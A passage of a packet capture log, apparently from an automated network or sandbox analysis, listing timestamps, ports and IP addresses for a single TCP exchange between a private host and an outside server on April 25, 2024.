Apr 25, 2024 16:29:07.490905046 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.490945101 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.491020918 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.491074085 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.491148949 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.491161108 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.491215944 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.491235971 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.491307020 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.491343975 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.491370916 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.491434097 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.491462946 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.491475105 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.491539955 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.491687059 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.491739988 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.532838106 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.532954931 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.532979965 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.533041000 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.533185005 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.533265114 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.533265114 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.533332109 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.736587048 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.736654043 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.736748934 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.736855030 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.736911058 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.736943007 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.736964941 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.737021923 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737034082 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737042904 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737107992 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.737132072 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737196922 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.737268925 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737279892 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737356901 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.737413883 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737452030 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737473011 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.737507105 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.737520933 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737576962 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.737679005 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737751961 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.737796068 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737867117 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.737946033 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737986088 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.737996101 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738003016 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738051891 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738081932 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738143921 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738192081 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738255024 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738317013 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738327026 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738378048 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738385916 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738390923 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738444090 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738465071 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738486052 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738538027 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738558054 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738600016 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738610983 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738663912 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738667965 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738764048 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.738841057 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.738912106 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739034891 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739048004 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739084959 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739089012 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739113092 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739147902 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739166975 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739217043 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739258051 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739334106 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739350080 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739361048 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739435911 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739451885 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739511013 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739597082 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739662886 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739725113 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739737034 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739801884 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739804029 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739870071 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.739896059 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.739957094 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.740006924 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.740128040 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.740257978 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.740335941 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.740370989 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.740417957 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.740446091 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.740473032 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.740495920 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.740585089 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.740592957 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.740669012 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.740828991 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.740900993 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.740942001 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.740981102 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741005898 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741046906 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.741070986 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.741197109 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741264105 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.741390944 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741404057 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741467953 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741472006 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.741725922 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741738081 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741825104 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741836071 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741882086 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.741893053 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742012978 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742053986 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742224932 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742333889 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742407084 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742460012 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742535114 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742609978 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742647886 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.742737055 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.780961990 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.780980110 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781014919 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781099081 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.781126022 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781141043 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781152010 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781163931 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781183004 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.781200886 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781212091 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781213045 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.781223059 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781236887 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781248093 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781367064 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781410933 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781423092 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.781438112 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.984709978 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.984726906 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.984806061 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.984915018 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.984927893 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.984950066 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.984961987 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.984987020 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985049009 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985060930 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985070944 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985109091 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985146046 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985169888 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985196114 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985251904 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985388994 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985402107 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985450983 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985475063 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985522032 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985558033 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985572100 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985658884 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985694885 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985708952 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985831022 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985879898 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985892057 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.985920906 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986017942 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986171961 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986185074 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986207962 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986274958 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986352921 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986392975 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986439943 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986466885 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986500978 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986571074 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986582994 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986594915 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986658096 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986751080 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986912012 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986948967 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.986995935 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987041950 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987080097 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987127066 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987268925 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987282038 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987345934 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987359047 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987370968 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987442017 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987649918 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987662077 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987735987 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987749100 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987842083 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987879038 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987904072 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.987998009 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988034964 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988184929 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988198042 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988246918 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988306046 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988318920 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988329887 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988359928 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988447905 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988543034 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988557100 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988605022 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988737106 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988778114 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988822937 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988867044 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988914013 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988956928 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.988982916 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989041090 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989094019 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989141941 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989154100 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989165068 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989231110 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989321947 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989334106 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989346027 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989357948 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989379883 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989459991 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989506960 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989577055 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989589930 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989664078 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989710093 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989756107 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989768982 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989806890 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989890099 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989902973 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.989970922 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.990047932 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.990084887 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.990210056 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.990359068 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.990519047 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.990648031 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.990807056 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991246939 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991261959 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991272926 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991389990 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991405964 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991497040 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991509914 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991585016 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991621971 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991697073 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991765976 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991801023 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991871119 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991919041 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991933107 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991981030 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.991993904 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992005110 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992054939 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992141008 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992153883 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992201090 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992227077 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992285967 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992299080 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992335081 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992403984 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992417097 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992453098 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992465019 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992557049 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992568970 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992579937 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992639065 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992654085 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992664099 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992676973 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992701054 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992738962 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992775917 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992789030 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992820024 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.992851973 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992892027 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.992904902 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992938995 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.992964029 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.992971897 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.992999077 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.993086100 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.993110895 CEST	50500	49706	193.233.132.47	192.168.2.5
